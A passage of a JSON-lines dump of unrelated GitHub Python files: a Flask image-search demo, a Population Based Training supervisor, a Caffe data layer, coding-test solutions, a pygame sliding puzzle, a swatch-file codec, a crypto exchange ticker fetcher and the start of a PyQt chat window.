flask.request.form.get('categoly')\n print(filename) \n print(select)\n img_url = UPLOAD_FOLDER + '/' + hisyatai\n\n\n #画像のサイズ調整 IphoneからだとTimeoutしてしまう。写真の画素数が大きいので容量が大きく転送に時間がかかってしまうためリサイズする\n img = Image.open(img_url)\n width,height=640,480\n img = img.resize((width,height))\n img.save(os.path.join(app.config['UPLOAD_FOLDER'],'img_resize.jpg'))\n\n img_urlX = UPLOAD_FOLDER + '/' + 'img_resize.jpg'\n \n\n requester = SearchImageRequest.SearchImageRequest()\n #requests = SearchImageRequest.SearchItemRequest()\n requester.set_endpoint(\"imagesearch.cn-hongkong.aliyuncs.com\")\n\n requester.set_InstanceName(\"imagesearch00hk\")\n\n ## Search setting \n requester.set_CategoryId(select)\n #requester.set_CategoryId(\"88888888\")\n requester.set_Num(\"3\")\n\n img_url0='static' + '/' + 'img_resize.jpg'\n print('static' + '/' + hisyatai)\n\n\n with open(img_urlX, 'rb') as imgfile:\n #ファイル読み込み\n img = imgfile.read()\n #エンコード\n encoded_pic_content = base64.b64encode(img)\n requester.set_PicContent(encoded_pic_content)\n #インスタンスへのアクション=ImageSearchインスタンスへ\n #辞書型で返ってくる。\n response = client.do_action_with_exception(requester)\n \n pprint.pprint(response)\n #sleep(2) \n str_data = json.loads(response)\n #上記を入れないと型エラーが発生 TypeError: byte indices must be integers or slices, not str\n #print(str_data[\"Auctions\"][0][\"PicName\"])\n #辞書型配列のため、上記のように選択する必要があった\n \n print(filename)\n\n return render_template('bootstrap.html', img_url0='static' + '/' + hisyatai ,img_url1=\"https://image-demo-oss-hk.oss-cn-hongkong.aliyuncs.com/demo/\" + str_data[\"Auctions\"][0][\"PicName\"], img_url2=\"https://image-demo-oss-hk.oss-cn-hongkong.aliyuncs.com/demo/\" + str_data[\"Auctions\"][1][\"PicName\"], img_url3=\"https://image-demo-oss-hk.oss-cn-hongkong.aliyuncs.com/demo/\" + str_data[\"Auctions\"][2][\"PicName\"],result=response)\n\n \n\n######### Setting ##########\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0', port=8008)\n #FLASKのサーバ公開フォーマット ローカルホストの適当なポートでWEBサーバ起動。debugをオンに設定\n#\n\n","repo_name":"superharurun/imagesearch_demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34096636399","text":"\nimport tensorflow as tf\nimport random\nimport pickle\nimport pathlib\nimport traceback\nfrom glob import glob\nimport uuid\nimport os\nimport os.path\nimport collections\nimport logging\nimport sys\nimport math\n\nfrom .ploty import Ploty\n\nlogger = logging.getLogger('pbt')\nlogger.setLevel(logging.INFO)\n\nFP = collections.namedtuple('FallbackParam', ['value'])\n\n\n\nclass Worker(object):\n\t\"\"\"Runs a PBT experiment\n\n\tAlways provide a parameterless init so the Supervisor can spawn workers as needed\n\n\t\"\"\"\n\tdef __init__(self, init_params, hyperparam_spec):\n\t\tself.current_count = 0\n\t\tself.total_count = 0\n\t\tself.id = uuid.uuid1()\n\t\tself.results = {}\n\t\tself.init_params = init_params\n\t\tself.gen_params(hyperparam_spec)\n\n\tdef gen_params(self, hyperparam_spec):\n\t\tself.params = {\n\t\t\tk: v() for k, v in hyperparam_spec.items()\n\t\t}\n\n\t@property\n\tdef params(self):\n\t\tpass\n\t\n\t@params.setter\n\tdef params(self, params):\n\t\tpass\n\t\t\n\tdef reset_count(self):\n\t\tself.current_count = 0\n\t\n\tdef step(self, steps):\n\t\tself.current_count += steps\n\t\tself.total_count += steps\n\t\tself.do_step(steps)\n\t\n\tdef do_step(self, steps):\n\t\tpass\n \n\tdef eval(self):\n\t\tself.results = self.do_eval()\n\t\treturn self.results\n\t\n\tdef do_eval(self):\n\t\tpass\n\n\tdef is_ready(self):\n\t\tmi = self.params.get(\"micro_step\", FP(1)).value\n\t\tma = self.params.get(\"macro_step\", FP(5)).value\n\n\t\treturn self.current_count > mi * ma\n\n\tdef explore(self, heat):\n\t\treturn {\n\t\t\tk:v.mutate(heat) for k, v in self.params.items()\n\t\t}\n\n\t@property\n\tdef macro_steps(self):\n\t\tmi = self.params.get(\"micro_step\", FP(1)).value\n\t\tma = self.params.get(\"macro_step\", FP(5)).value\n\t\treturn self.total_count / mi / ma\n\t\n\n\tdef save(self, path):\n\t\twith open(path, 'wb') as file:\n\t\t\tpickle.dump(self, file)\n\n\t@classmethod\n\tdef load(cls, path, init_params):\n\t\twith open(path, 'rb') as file:\n\t\t\tw = pickle.load(file)\n\t\tw.init_params = init_params\n\t\treturn w\n\n\n\t \n\t\t\n\t\t\nclass Supervisor(object):\n\t\"\"\"\n\t\tImplementation of Population Based Training. \n\t\tSupervisor manages and optimises the experiments\n\n\n\t\t# Notes on 'PBT theory'\n\n\t\tWays to create a new worker:\n\t\t - Fresh worker (random initialisation)\n\t\t - Mutate from top performer (asexual reproduction)\n\t\t - Breed partners (sexual reproduction)\n\n\t\tReproduction introduces random mutations into properties\n\t\tIf mutation perturbation samples from a long tailed distribution, \n\t\tthen there is a chance of black swan discoveries. This is important.\n\t\tThis makes reproduction and fresh worker spawning statistically \n\t\tequivalent at the limit.\n\n\t\tEvents to trigger creating new worker:\n\t\t - Fewer workers in pool than desired size\n\n\t\tEvents to trigger culling a worker:\n\t\t - Crashes\n\t\t - More workers in pool than desired size\n\t\t - Worker poor performer after macro cycle\n\n\n\n\t\"\"\"\n\tdef __init__(self, \n\t\t\t\t args,\n\t\t\t\t SubjectClass, \n\t\t\t\t init_params,\n\t\t\t\t hyperparam_spec, \n\t\t\t\t score,\n\t\t\t\t n_workers=10, \n\t\t\t\t save_freq=20,\n\t\t\t\t ):\n\n\t\tself.args = args\n\t\tself.SubjectClass = SubjectClass\n\t\tself.init_params = init_params\n\t\tself.hyperparam_spec = hyperparam_spec\n\t\tself.score = score\n\t\tself.save_freq = save_freq\n\t\tself.save_counter = save_freq\n\t\tself.heat = 1.0\n\n\t\t# Function or Integer supported\n\t\tif isinstance(n_workers, int) or isinstance(n_workers, float):\n\t\t\tself.n_workers = lambda step: round(n_workers)\n\t\telse:\n\t\t\tself.n_workers = n_workers\n\n\t\tself.fail_count = 0\n\t\tself.workers = []\n\t\tself.plot_workers = Ploty(args, title='Worker performance', x='Time', y=\"Score\")\n\t\tself.plot_progress = Ploty(args, title='Training progress', x='Time', y=\"Value\")\n\t\tself.plot_hyper = Ploty(args, title='Hyper parameters', x='Time', y=\"Value\")\n\n\n\tdef save(self):\n\t\tp = os.path.join(self.args.output_dir, \"population\")\n\n\t\ttry:\n\t\t\tpathlib.Path(p).mkdir(parents=True, exist_ok=True) \n\t\texcept:\n\t\t\tpass\n\n\t\t# TODO: delete workers\n\n\t\tfor worker in self.workers:\n\t\t\tworker.save(os.path.join(p, \"worker_{}.pkl\".format(worker.id)))\n\n\t\tlogger.info(\"Saved workers\")\n\n\tdef load(self, input_dir):\n\t\tpop_dir = os.path.join(input_dir, \"population/worker_*.pkl\")\n\t\tlogger.info(\"Trying to load workers from \" + pop_dir)\n\n\t\tself.workers = []\n\t\tfor i in glob(pop_dir):\n\t\t\ttry:\n\t\t\t\tw = self.SubjectClass.load(i, self.init_params)\n\t\t\t\tself.workers.append(w)\n\t\t\t\tlogger.info(\"Loaded {}\".format(w.id))\n\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\n\n\tdef scale_workers(self, epoch):\n\n\t\tstack = list(self.workers)\n\t\trandom.shuffle(stack) # Tie-break randomly\n\t\tstack = sorted(stack, key=self.score)\n\t\t\n\t\tn20 = round(len(stack)*0.2)\n\t\tbottom20 = stack[:n20]\n\n\t\tdelta = self.n_workers(epoch) - len(self.workers)\n\n\t\tif delta != 0:\n\t\t\tlogger.info(\"Resizing worker pool by {}\".format(delta))\n\n\t\tif delta < 0:\n\t\t\treadies = [i for i in bottom20 if i.is_ready()]\n\t\t\tsort(readies, key=self.score)\n\t\t\tfor i in readies[:min(-delta, len(readies))]:\n\t\t\t\tself.workers.remove(i)\n\n\t\telif delta > 0:\t\n\t\t\tfor i in range(delta):\n\t\t\t\tself.add_random_worker()\n\n\tdef add_random_worker(self):\n\t\tadditional = self.SubjectClass(self.init_params, self.hyperparam_spec)\n\t\tadditional.count = random.randint(0,\n\t\t\tround(additional.params.get('macro_step', FP(5)).value * 0.2)\n\t\t)\n\t\tself.workers.append(additional)\n\n\tdef breed_worker(self, worker):\n\n\t\tscore = self.score(worker)\n\t\tstack = sorted(stack, key=lambda i: abs(score-self.score(i)))\n\t\tpartner = random.choice(stack[:5])\n\n\t\tap = worker.params\n\t\tbp = partner.params\n\n\t\tparams = {\n\t\t\tk: v.breed(ap[k], bp[k], self.heat) for k, v in self.hyperparam_spec.items()\n\t\t}\n\n\t\tchild = self.SubjectClass(self.init_params, self.hyperparam_spec)\n\t\tchild.params = params\n\t\tself.workers.append(child)\n\t\treturn child\n\n\tdef print_status(self, epoch):\n\n\t\tmeasures = {\n\t\t\t\"score\": self.score,\n\t\t\t# \"validation\": lambda i: i.results.get('accuracy', -1),\n\t\t\t# \"train\": lambda i: i.results.get('train_acc', -1)\n\t\t}\n\t\t\n\t\tfor i, worker in enumerate(self.workers):\n\t\t\tfor key, fn in measures.items():\n\t\t\t\tself.plot_workers.add_result(epoch, fn(worker), str(i)+key, \"s\", '-')\n\n\t\t\tfor key, val in worker.params.items():\n\t\t\t\tif isinstance(val.value, int) or isinstance(val.value, float):\n\t\t\t\t\tself.plot_hyper.add_result(epoch, val.value, str(i)+\"_\" +key)\n\n\t\tfor key, fn in measures.items():\n\t\t\tvs = [fn(i) for i in self.workers]\n\n\t\t\tif len(vs) > 0:\n\t\t\t\tbest = max(vs)\n\t\t\t\tworst = min(vs)\n\t\t\t\tself.plot_progress.add_result(epoch, best, key+\"_max\")\n\t\t\t\tself.plot_progress.add_result(epoch, worst, key+\"_min\")\n\n\t\tself.plot_progress.add_result(epoch, len(self.workers), \"n_workers\")\n\n\t\tbest_worker = max(self.workers, key=self.score)\n\n\t\tfor key, val in best_worker.params.items():\n\t\t\tif isinstance(val.value, int) or isinstance(val.value, float):\n\t\t\t\tself.plot_progress.add_result(epoch, val.value, key+\"_best\")\n\n\t\tself.plot_progress.write()\n\t\tself.plot_workers.write()\n\t\tself.plot_hyper.write()\n\n\n\n\t# TODO: Make params into a virtual dictionary (and wrap .value for the caller)\n\tdef params_equal(self, p1, p2):\n\t\tfor k, v in p1.items():\n\t\t\tif v != p2[k]:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef _remove_worker(self, worker, epoch):\n\t\tself.workers.remove(worker)\n\t\tself.fail_count += 1\n\t\tself.plot_progress.add_result(epoch, self.fail_count, \"failed_workers\")\n\n\n\tdef step(self, epoch):\n\t\tfor i in self.workers:\n\t\t\ttry:\n\t\t\t\tsteps = i.params.get(\"micro_step\", FP(1)).value\n\t\t\t\tlogger.info(\"{}.train({})\".format(i.id, steps))\n\t\t\t\ti.step(steps)\n\t\t\t\ti.eval()\n\t\t\t\tlogger.info(\"{}.eval()\".format(i.id))\n\t\t\texcept Exception:\n\t\t\t\ttraceback.print_exc()\n\t\t\t\tself._remove_worker(i, epoch)\n\t\t\t\tcontinue\n\n\t\tif len(self.workers) == 0:\n\t\t\traise Exception(\"All workers failed, your model has bugs\")\n\n\t\tself.save_counter -= 1;\n\t\tif self.save_counter <= 0:\n\t\t\tself.save()\n\t\t\tself.save_counter = self.save_freq\n\n\tdef exploit(self, worker):\n\t\tstack = list(self.workers)\n\t\trandom.shuffle(stack) # Tie-break randomly\n\t\tstack = sorted(stack, key=self.score)\n\t\t\n\t\tn20 = max(math.ceil(len(stack)*0.2), 1)\n\t\ttop20 = stack[-n20:]\n\t\tbottom20 = stack[:n20]\n\t\t\n\t\tif worker in bottom20:\n\t\t\tmentor = random.choice(top20)\n\t\t\treturn mentor\n\t\telse:\n\t\t\treturn None\n\n\tdef explore(self, epoch):\n\t\tfor i in self.workers:\n\t\t\tif i.is_ready():\n\n\t\t\t\tlogger.info(\"{} is ready, attempting exploit\".format(i.id))\n\t\t\t\t\n\t\t\t\ti.reset_count()\n\t\t\t\tbetter = self.exploit(i)\n\n\t\t\t\tif better is not None:\n\t\t\t\t\tif not self.params_equal(i.params, better.params):\n\t\t\t\t\t\tlogger.info(\"{} replace with mutated {}\".format(i.id, better.id))\n\t\t\t\t\t\ti.params = better.explore(self.heat)\n\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\ti.eval()\n\t\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t\ttraceback.print_exc()\n\t\t\t\t\t\t\tself._remove_worker(i, epoch)\n\t\t\t\t\t\t\tcontinue\n\n\tdef breed(self, epoch):\n\t\tfor i in self.workers:\n\t\t\tif i.is_ready():\n\n\t\t\t\tnewbie = self.breed_worker(i)\n\n\t\t\t\ttry:\n\t\t\t\t\tnewbie.eval()\n\n\t\t\t\texcept Exception:\n\t\t\t\t\ttraceback.print_exc()\n\t\t\t\t\tself._remove_worker(newbie, epoch)\n\t\t\t\t\tcontinue\n\n\n\t\t\n\tdef run(self, epochs=1000):\n\t\tfor i in range(epochs):\n\t\t\tlogger.info(\"Epoch {}\".format(i))\n\t\t\tself.scale_workers(i)\n\t\t\tself.step(i)\n\t\t\tself.explore(i)\n\t\t\tself.print_status(i)\n\t\t\t\n","repo_name":"Octavian-ai/article-1-extended","sub_path":"src/pbt.py","file_name":"pbt.py","file_ext":"py","file_size_in_byte":8886,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"38605119507","text":"import caffe \nimport numpy as np \nimport pickle\nimport cv2\nfrom blob import im_list_to_blob\n\ndef prep_im_for_blob(im, pixel_means, target_size, max_size):\n\n im = im.astype(np.float32, copy=False)\n im -= pixel_means\n im_shape = im.shape\n im_size_min = np.min(im_shape[:2])\n im_size_max = np.max(im_shape[:2])\n im_scale = float(target_size) / float(im_size_min)\n print('im_scale :', im_scale)\n print('target_size :', target_size)\n print('im_shape :', im_shape)\n print('im_size_min :', im_size_min)\n print('im_size_max :', im_size_max)\n print('np.round(im_scale * im_size_max) :', np.round(im_scale * im_size_max))\n print('max_size :', max_size)\n # Prevent the biggest axis from being more than MAX_SIZE\n if np.round(im_scale * im_size_max) > max_size:\n im_scale = float(max_size) / float(im_size_max)\n print('im_scale :', im_scale)\n im = cv2.resize(\n im,\n None,\n None,\n fx=im_scale,\n fy=im_scale,\n interpolation=cv2.INTER_LINEAR\n )\n return im, im_scale\n\ndef get_image_blob(im, target_scale=800, target_max_size=1333):\n \"\"\"Convert an image into a network input.\n\n Arguments:\n im (ndarray): a color image in BGR order\n\n Returns:\n blob (ndarray): a data blob holding an image pyramid\n im_scale (float): image scale (target size) / (original size)\n im_info (ndarray)\n \"\"\"\n print('im shape', im.shape)\n processed_im, im_scale = prep_im_for_blob(\n im, [102.9801,115.9465, 122.7717], target_scale, target_max_size\n )\n\n max_shape = np.array([processed_im.shape]).max(axis=0)\n blob = np.zeros(\n (1, max_shape[0], max_shape[1], 3), dtype=np.float32\n )\n \n blob[0, 0:processed_im.shape[0], 0:processed_im.shape[1], :] = processed_im\n # Move channels (axis 3) to axis 1\n # Axis order will become: (batch elem, channel, height, width)\n channel_swap = (0, 3, 1, 2)\n print('before swap : ', blob.shape)\n blob = blob.transpose(channel_swap)\n print('after swap : ', blob.shape)\n # NOTE: this height and width may be larger than actual scaled input image\n # due to the FPN.COARSEST_STRIDE related padding in im_list_to_blob. We are\n # maintaining this behavior for now to make existing results exactly\n # reproducible (in practice using the true input image height and width\n # yields nearly the same results, but they are sometimes slightly different\n # because predictions near the edge of the image will be pruned more\n # aggressively).\n print('final im_scale', im_scale)\n height, width = blob.shape[2], blob.shape[3]\n im_info = np.asarray([[height, width, im_scale]])\n return blob, im_info.reshape(1,3)\n\nclass AnchorDataLayer(caffe.Layer):\n def setup(self, bottom, top):\n print('==================================================anchor_data_layer_setup==================================================') \n\n top[0].reshape(3,4)\n top[1].reshape(3,4)\n top[2].reshape(3,4)\n top[3].reshape(3,4)\n top[4].reshape(3,4)\n top[5].reshape(1,3)\n top[6].reshape(1,3,800,800)\n def forward(self, bottom, top):\n print('==================================================anchor_data_layer_forward==================================================') \n im=cv2.imread('/home/lee/caffe_vistool/deep-visualization-toolbox/input_images/test.jpg')\n print(im.shape)\n \n blob=np.array([[-22., -10., 25., 13.], [-14., -14., 17., 17.], [-10., -22., 13., 25.]]) \n top[0].data[...] = blob.astype(np.float32, copy=False)\n \n blob=np.array([[-40., -20., 47., 27.], [-28., -28., 35., 35.], [-20., -44., 27., 51.]])\n top[1].data[...] = blob.astype(np.float32, copy=False)\n\n blob=np.array([[-84., -40., 99., 55.], [-56., -56., 71., 71.], [-36., -80., 51., 95.]])\n top[2].data[...] = blob.astype(np.float32, copy=False)\n\n blob=np.array([[-164., -72., 195., 103.], [-112., -112., 143., 143.], [ -76., -168., 107., 199.]])\n top[3].data[...] = blob.astype(np.float32, copy=False)\n\n blob=np.array([[-332., -152., 395., 215.], [-224., -224., 287., 287.], [-148., -328., 211., 391.]])\n top[4].data[...] = blob.astype(np.float32, copy=False) \n \n img_blob, im_info = get_image_blob(im)\n print(im_info)\n print(im_info.shape)\n img_ch1 = img_blob[0, 0, :, :]\n print(img_ch1.shape)\n print(np.min(img_ch1 ))\n print(np.max(img_ch1 ))\n top[5].data[...] = im_info\n \n top[6].data[...] = img_blob \n def backward(self, top, propagate_down, bottom):\n \"\"\"This layer does not propagate gradients.\"\"\"\n pass\n\n def reshape(self, bottom, top):\n \"\"\"Reshaping happens during the call to forward.\"\"\"\n pass\n\n","repo_name":"dedoogong/caffe-keypoint-rcnn","sub_path":"lib/data_provider/anchor_input_layer.py","file_name":"anchor_input_layer.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"54"} +{"seq_id":"72372300002","text":"def solution(park, routes):\n # 0.30875342100000003\n N, M = len(park), len(park[0])\n x, y = 0, 0\n for i, rows in enumerate(park):\n for j, r in enumerate(rows):\n if r == \"S\":\n x, y = i, j\n break\n\n direction = {\"E\": (0, 1), \"W\": (0, -1), \"S\": (1, 0), \"N\": (-1, 0)}\n for route in routes:\n d, m = route.split()\n dx, dy = direction[d]\n mx, my = x + dx * int(m), y + dy * int(m)\n if 0 <= mx < N and 0 <= my < M:\n nx, ny = x, y\n for _ in range(int(m)):\n nx += dx\n ny += dy\n if park[nx][ny] == \"X\":\n break\n else:\n x, y = nx, ny\n return [x, y]\n\n\nprint(solution([\"SOO\",\"OOO\",\"OOO\"], [\"E 2\",\"S 2\",\"W 1\"])) #[2,1]\nprint(solution([\"SOO\",\"OXX\",\"OOO\"], [\"E 2\",\"S 2\",\"W 1\"])) #[0,1]\nprint(solution([\"OSO\",\"OOO\",\"OXO\",\"OOO\"], [\"E 2\",\"S 3\",\"W 1\"])) #[0,0]\nprint(solution([\"OOO\",\"OOO\",\"OOO\",\"OOS\"], [\"N 3\"])) # [0,2]\nprint(solution([\"OOO\",\"OOO\",\"OOX\",\"OOS\"], [\"N 3\"])) # [3,2]\nprint(solution([\"OOO\",\"SXO\",\"OOO\",\"OOO\"], [\"E 2\"])) # [1,0]\n\n\nif __name__ == \"__main__\":\n from timeit import Timer\n query = [\n [[\"SOO\",\"OOO\",\"OOO\"], [\"E 2\",\"S 2\",\"W 1\"]],\n [[\"SOO\",\"OXX\",\"OOO\"], [\"E 2\",\"S 2\",\"W 1\"]],\n [[\"OSO\",\"OOO\",\"OXO\",\"OOO\"], [\"E 2\",\"S 3\",\"W 1\"]],\n [[\"OOO\",\"OOO\",\"OOO\",\"OOS\"], [\"N 3\"]],\n [[\"OOO\",\"OOO\",\"OOX\",\"OOS\"], [\"N 3\"]],\n [[\"OOOOOOOO\",\"OOOOOOOO\",\"OOOOOOOO\",\"OOOOOOOO\",\"OOOOOOOO\",\"OOOOOOOS\"],[\"N 3\",\"E 2\",\"S 2\",\"W 1\",\"N 1\",\"N 5\",\"S 3\"]]\n ]\n t = Timer(f\"for t in {query}: solution(*t)\", \"from __main__ import solution\")\n print(t.timeit(number=10000))\n","repo_name":"daewoonglee/programmers","sub_path":"lev1/공원 산책.py","file_name":"공원 산책.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32386022359","text":"def solution(targets):\n answer = 0\n targets.sort()\n while targets:\n cur_s, cur_e = targets.pop()\n answer += 1\n while targets:\n nxt_s, nxt_e = targets[-1]\n if nxt_e > cur_s:\n targets.pop()\n else:\n break\n \n return answer","repo_name":"seongjaee/algorithm-study","sub_path":"Codes/Programmers/���격시스템.py","file_name":"요격시스템.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38652466133","text":"import pygame\r\nimport sys\r\nimport os\r\nimport random\r\n\r\n\r\nclass SlidePuzzle:\r\n def __init__(self, gs, ts, ms):\r\n self.gs, self.ts, self.ms = gs, ts, ms\r\n # gs is in the form (n, m) and refers to number of rows and columns respectively\r\n # ts refers to tile features/size in the game\r\n # ms refers to margin size (i.e. space between tiles)\r\n self.tiles = [(x, y) for x in range(gs[0]) for y in range(gs[1])]\r\n # Setting the number of each tile in columns and rows the array\r\n self.tile_pos = {(x, y): (x*(ts+ms)+ms, y*(ts+ms)+ms) for x in range(gs[0]) for y in range(gs[1])}\r\n # setting position of each tile within margin of array in game\r\n self.tiles_len = gs[0]*gs[1] - 1\r\n # Number of tiles is number of rows times number of columns minus 1\r\n self.font = pygame.font.Font(None, 100)\r\n # Setting default font and size = 120 in pygame\r\n self.images = []\r\n font = self.font\r\n self.prev = None\r\n\r\n for i in range(self.tiles_len):\r\n image = pygame.Surface((ts, ts))\r\n image.fill((120, 50, 200))\r\n # Setting color of tiles in array\r\n text = font.render(str(i+1), 2, (0, 0, 0))\r\n width, height = text.get_size()\r\n image.blit(text, ((ts-width)/2, (ts-height)/2))\r\n self.images += [image]\r\n\r\n for i in range(0, 1000):\r\n self.random()\r\n # randomizes the layout of the puzzle\r\n\r\n def draw(self, screen):\r\n for i in range(self.tiles_len):\r\n x, y = self.tile_pos[self.tiles[i]]\r\n screen.blit(self.images[i], (x, y))\r\n # draws the screen itself\r\n\r\n def set_as_blank(self):\r\n return self.tiles[-1]\r\n\r\n def getblank(self, pos):\r\n self.tiles[-1] = pos\r\n open_tile = property(set_as_blank, getblank)\r\n # sets open_tile as blank\r\n\r\n def switch(self, tile):\r\n n = self.tiles.index(tile)\r\n self.tiles[n], self.open_tile = self.open_tile, tile\r\n # defines method of switching a desired tile and the open_tile\r\n\r\n def adjacent(self):\r\n x, y = self.open_tile\r\n return (x-1, y), (x+1, y), (x, y-1), (x, y+1)\r\n # defines all legal move to adjacent tiles\r\n\r\n def in_grid(self, tile):\r\n return tile[0] >= 0 and tile[0] < self.gs[0] and tile[1] >= 0 and tile[1] < self.gs[1]\r\n # defines boundaries of array on screen\r\n\r\n def random(self):\r\n adj = self.adjacent()\r\n self.switch(random.choice([pos for pos in adj if self.in_grid(pos) and pos != self.prev]))\r\n # makes a random choice between tiles that are adjacent to the open_tile\r\n\r\n def update(self, dt):\r\n mouse = pygame.mouse.get_pressed()\r\n mousepos = pygame.mouse.get_pos()\r\n if mouse[0]:\r\n x, y = mousepos[0] % (self.ts+self.ms), mousepos[1] % (self.ts+self.ms)\r\n if x > self.ms and y > self.ms:\r\n tile = mousepos[0]//self.ts, mousepos[1]//self.ts\r\n if self.in_grid(tile) and tile in self.adjacent():\r\n self.switch(tile)\r\n # defines a mouse click as a switch\r\n\r\n def events(self, event):\r\n if event.type == pygame.KEYDOWN:\r\n for key, dx, dy in ((pygame.K_w, 0, -1), (pygame.K_s, 0, 1), (pygame.K_a, -1, 0), (pygame.K_d, 1, 0)):\r\n # defining interactions if any of a, s, w, d are used\r\n if event.key == key:\r\n x, y = self.open_tile\r\n tile = x+dx, y+dy\r\n if self.in_grid(tile):\r\n self.switch(tile)\r\n # switches according to which key is pressed\r\n\r\n if event.key == pygame.K_SPACE:\r\n self.random()\r\n # pressing space makes a random move\r\n\r\ndef main():\r\n # function that runs continuously while game is live\r\n pygame.init()\r\n os.environ['SDL_VIDEO_CENTERED'] = '1'\r\n # creates environmental dictionary for mapping purposes\r\n pygame.display.set_caption('Slide Puzzle')\r\n # Setting caption for game\r\n screen = pygame.display.set_mode((800, 800))\r\n # Setting size of Screen\r\n fps_clock = pygame.time.Clock()\r\n program = SlidePuzzle((4, 4), 150, 5)\r\n # determines dimensions and other arguments of slide puzzle\r\n\r\n while True:\r\n dt = fps_clock.tick()/1000\r\n\r\n screen.fill((0, 0, 0))\r\n program.draw(screen)\r\n pygame.display.flip()\r\n # creates game window and display\r\n\r\n for event in pygame.event.get(): # I.E. for an action in the game\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit() # If the action / event is to quit the game, exit the system\r\n program.events(event)\r\n\r\n program.update(dt)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"HCJratliff/FinalProject","sub_path":"Sliding Puzzle.py","file_name":"Sliding Puzzle.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37787668860","text":"from __future__ import division\nfrom swatchbook.codecs import *\n\nclass colorschemer(SBCodec):\n\t\"\"\"ColorSchemer\"\"\"\n\text = ('cs',)\n\t@staticmethod\n\tdef test(file):\n\t\tfile = open(file,'rb')\n\t\tdata = file.read(2)\n\t\tfile.close()\n\t\tif struct.unpack(' 0:\n\t\t\t\tid = unicode(struct.unpack(str(length)+'s',file.read(length))[0],'latin1')\n\t\t\tfile.seek(11, 1)\n\t\t\tif not id or id == '':\n\t\t\t\tid = str((R,G,B))\n\t\t\tif id in swatchbook.materials:\n\t\t\t\tif item.values[('RGB',False)] == swatchbook.materials[id].values[('RGB',False)]:\n\t\t\t\t\tswatchbook.book.items.append(Swatch(id))\n\t\t\t\t\ti += 1\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tsys.stderr.write('duplicated id: '+id+'\\n')\n\t\t\t\t\titem.info.title = id\n\t\t\t\t\tid = str((R,G,B))\n\t\t\titem.info.identifier = id\n\t\t\tswatchbook.materials[id] = item\n\t\t\tswatchbook.book.items.append(Swatch(id))\n\t\tfile.close()\n\n","repo_name":"olivierberten/SwatchBooker","sub_path":"src/swatchbook/codecs/colorschemer.py","file_name":"colorschemer.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"54"} +{"seq_id":"24373612575","text":"'''\nAuther : Milad Ranaei\n'''\nimport requests\nimport json\nimport pandas as pd \nimport logging\nimport asyncio\nimport time\n\nlist_pair = ['USDC_XRP', 'USDC_LTC', 'USDT_BCH', 'USDT_ETH']\nasync def kraken_output(sleep):\n '''\n parameter : Get a time in second as a parameter\n '''\n await asyncio.sleep(sleep)\n ex_name = \"kraken\"\n try:\n response = requests.request(\"GET\", url= \"https://futures.kraken.com/derivatives/api/v3/tickers\")\n except requests.ConnectionError as error:\n logging.warning(error)\n post_data = json.loads(response.content)\n post_data = post_data['tickers']\n df = pd.DataFrame(post_data, columns=['pair', 'ask', 'bid'])\n df = df.groupby(['pair']).sum().sort_values(by='bid', ascending=True)\n df['exchange'] = ex_name\n print(df)\n\nasync def poloniex_output(sleep):\n '''\n parameter : Get a time in second as a parameter\n '''\n await asyncio.sleep(sleep)\n ex_name = \"poloniex\"\n new_keys = []\n data_poloniex = []\n response = requests.request(\"GET\", url= \"https://poloniex.com/public?command=returnTicker\")\n post_data = json.loads(response.content)\n keys = post_data.keys()\n\n for key in keys:\n if key in list_pair:\n pair_data = post_data[key]\n pair_data['pair'] = key\n data_poloniex.append(pair_data)\n\n df2 = pd.DataFrame(data_poloniex, columns=['pair', 'lowestAsk', 'highestBid'])\n df2.rename(columns = {'lowestAsk': 'ask', 'highestBid':'bid'}, inplace = True)\n df2 = df2.sort_values(by='bid', ascending=True)\n df2['exchange'] = ex_name\n df2.set_index('pair', inplace=True)\n df2.columns = [''] * len(df2.columns)\n df2.rename_axis(None, inplace=True)\n print(df2)\n\n\n\n\nasync def main():\n logging.warning(f\"Started: {time.strftime('%X')}\")\n while True:\n await kraken_output(10)\n await poloniex_output(10)\n\n# Python 3.7+\nasyncio.run(main())","repo_name":"miladranaeisiadat/-_-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25639090734","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFont\nimport sys\nfrom PyQt5.QtWidgets import QWidget,QApplication\n\n#setting a custom style\n\nsetStyleQte = \"\"\"QTextEdit {\n font-family: \"Courier\"; \n font-size: 12pt; \n font-weight: 600; \n text-align: right;\n background-color: Gainsboro;\n}\"\"\"\n\nsetStyleUI = \"\"\"QLineEdit {\n font-family: \"Courier\";\n font-weight: 600; \n text-align: left;\n background-color: Gainsboro;\n}\"\"\"\n\nclass Window(QtWidgets.QWidget):\n def __init__(self):\n QtWidgets.QWidget.__init__(self)\n self.v = None\n self.layout = QtWidgets.QVBoxLayout(self)\n self.font = QFont()\n self.font.setPointSize(12)\n self.labelUser = QtWidgets.QLabel(\"User Chats Here:\")\n self.labelUser.setAlignment(Qt.AlignCenter)\n self.labelBot = QtWidgets.QLabel(\"Chat Logs are 